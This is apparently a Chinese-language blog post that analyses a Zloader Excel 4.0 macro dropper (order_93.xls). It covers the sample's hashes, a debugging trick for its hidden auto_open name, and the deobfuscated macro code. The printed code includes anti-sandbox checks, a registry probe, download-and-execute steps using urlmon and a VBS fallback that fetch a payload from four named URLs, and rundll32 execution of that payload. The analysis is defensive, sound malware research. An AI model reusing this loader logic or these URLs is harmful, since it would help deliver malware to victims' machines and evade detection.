Zloader分析

Zloader分析报告

基本信息

样本基本信息

名称order_93.xls
样本类型xls
恶意类型加载器
样本MD5ea2a84383a2ef3bdcea801e0f22a0072
样本SHA1f74d0b4ac53ac4a9d898a77fb050328495b971f3

主要执行流程

样本启用excel4.0宏,进行一系列反沙箱行为之后,创建vbs下载并执行文件。

关键技术概览

  1. 代码被散乱在各个单元格之中
  2. auto_open属性被隐藏
  3. 利用了excel4.0宏代码
  4. 多种反沙箱,反调试技术
  5. 混淆对抗静态分析

在这里插入图片描述

详细分析

工具静态分析

程序利用了excel4.0宏,利用github上的开源项目xlmdeobfuscator,可以直接提取出宏代码。

在这里插入图片描述

动态调试

程序的宏代码散乱在各个单元格之中,加了很严重的混淆,且auto_open单元格被隐藏,否则可以在名称管理器 中找到auto_open

想要调试就必须要开启宏,开启宏就会执行auto_open单元格里面的内容。

这里有两种方法来调试

  1. 将auto_open单元格中的内容设置为halt(),此时宏已经暂停。再将原来的值复制回去,然后单步调试
  2. 修改auto_open属性,利用offvis,分析excel格式,如下路径中存放着lbl结构

在这里插入图片描述

lbl结构存放着特定的名称,其中fHidden标志位保留着是否在名称管理器中显示,

fbuiltin指定定义的名称是否表示内置名称

如果fBuiltin为0,则此字段必须满足与XLNameUnicodeString结构的name字段相同的限制。如果fBuiltin为1,则name字段用于内置名称

nameascii字段为0x01,对应着下表的auuto_open,因此需要将fbuiltin修改为0,auto_open功能失效

在这里插入图片描述

在这里插入图片描述

分析

IF(GET.WINDOW(7),GOTO(R33146C43),)//窗口不能隐藏
IF(GET.WINDOW(20),,GOTO(R33146C43))//窗口必须最大化
IF(GET.WINDOW(23)<3,GOTO(R33146C43),)//窗口不能最小化和restored
IF(GET.WORKSPACE(31),GOTO(R33146C43),)//宏是否执行单步运行
IF(GET.WORKSPACE(13)<770,GOTO(R33146C43),)//检测工作环境的宽
IF(GET.WORKSPACE(14)<390,GOTO(R33146C43),)//检测工作环境的高
IF(GET.WORKSPACE(19),,GOTO(R33146C43))//检测电脑是否存在鼠标
IF(GET.WORKSPACE(42),,GOTO(R33146C43))//检测电脑是否能播放声音
IF(ISNUMBER(SEARCH(""Windows"",GET.WORKSPACE(1))),,GOTO(R33146C43))//检测是否在Windows环境中

首先进行了一系列沙箱检测

Files: path C:\Users\Public\FsWhHWf.vbs, access 3
On Error Resume Next
Set CAA = CreateObject("WScript.Shell")
Set cdtQbBq = CreateObject("Scripting.FileSystemObject")
Set zgVEMWV = cdtQbBq.CreateTextFile("C:\Users\Public\DC6PdmLB.txt", True)
zgVEMWV.WriteLine(CAA.RegRead("HKCU\Software\Microsoft\Office\GET.WORKSPACE(2)\Excel\Security\VBAWarnings"))
zgVEMWV.Close

创建了一个文件判断注册表HKCU\Software\Microsoft\Office\GET.WORKSPACE(2)\Excel\Security\VBAWarnings,

此注册表包含了启用宏通知设置,而启用如果包含字符为1,则一直设置为启用宏,而一般沙箱会有此效果,因此判断此处起到了反沙箱的作用

在这里插入图片描述

CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://wireborg.com/wp-keys.php","C:\Users\Public\lxlGZ4A.html",0,0)
FILES("C:\Users\Public\lxlGZ4A.html")
IF(ISERROR(R38565C99),GOTO(R38572C99),)
    [TRUE] GOTO(R38572C99)
    CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"http://zmedia.shwetech.com/wp-    keys.php","C:\Users\Public\lxlGZ4A.html",0,0)
    FILES("C:\Users\Public\lxlGZ4A.html")
    IF(ISERROR(R38573C99),GOTO(R38580C99),)
        [TRUE] GOTO(R38580C99)
        CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://datalibacbi.ml/wp-    keys.php","C:\Users\Public\lxlGZ4A.html",0,0)
        FILES("C:\Users\Public\lxlGZ4A.html")
        IF(ISERROR(R38581C99),GOTO(R38588C99),)
            [TRUE] GOTO(R38588C99)
            CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://procacardenla.ga/wp-keys.php","C:\Users\Public\lxlGZ4A.html",0,0)
            ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.")                   CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","C:\Users\Public\lxlGZ4A.html,DllRegisterServer",0,5)

GOTO(R33146C43)
CLOSE(FALSE)

遍历这4个网址依次进行下载至"C:\Users\Public\lxlGZ4A.html每次下载都会对大小进行效验,如果大于40000,则会弹窗,且用rundll32.exe运行下载的文件

4个网址如下:

https://wireborg.com/wp-keys.php

http://zmedia.shwetech.com/wp-keys.php

https://datalibacbi.ml/wp-keys.php

https://procacardenla.ga/wp-keys.php

M1UW = "https://wireborg.com/wp-keys.php"
U4Uo = "http://zmedia.shwetech.com/wp-keys.php"
pqlyh = "https://datalibacbi.ml/wp-keys.php"
OeDOJy = "https://procacardenla.ga/wp-keys.php"
DcH = Array(M1UW,U4Uo,pqlyh,OeDOJy)
Dim OJxd: Set OJxd = CreateObject("MSXML2.ServerXMLHTTP.6.0")
Function Uj8Ty(data):
OJxd.setOption(2) = 13056
OJxd.Open "GET", data, False
OJxd.setRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
OJxd.Send
Uj8Ty = OJxd.Status
End Function
For Each o37s4 in DcH
    If Uj8Ty(o37s4) = 200 Then
        Dim qjDgRsx: Set qjDgRsx = CreateObject("ADODB.Stream")
        qjDgRsx.Open
        qjDgRsx.Type = 1
        qjDgRsx.Write OJxd.ResponseBody
        qjDgRsx.SaveToFile "C:\Users\Public\ezNJJrCR.html", 2
        qjDgRsx.Close
Exit For

如果下载失败,则会创建如上的CiOnQpVy.vbs文件对4个url遍历下载到ezNJJrCR.html。

Set b7H = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
b7H.Document.Application.ShellExecute "rundll32.exe","C:\Users\Public\ezNJJrCR.html,DllRegisterServer","C:\Windows\System32",Null,0

启动下载的ezNJJrCR.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值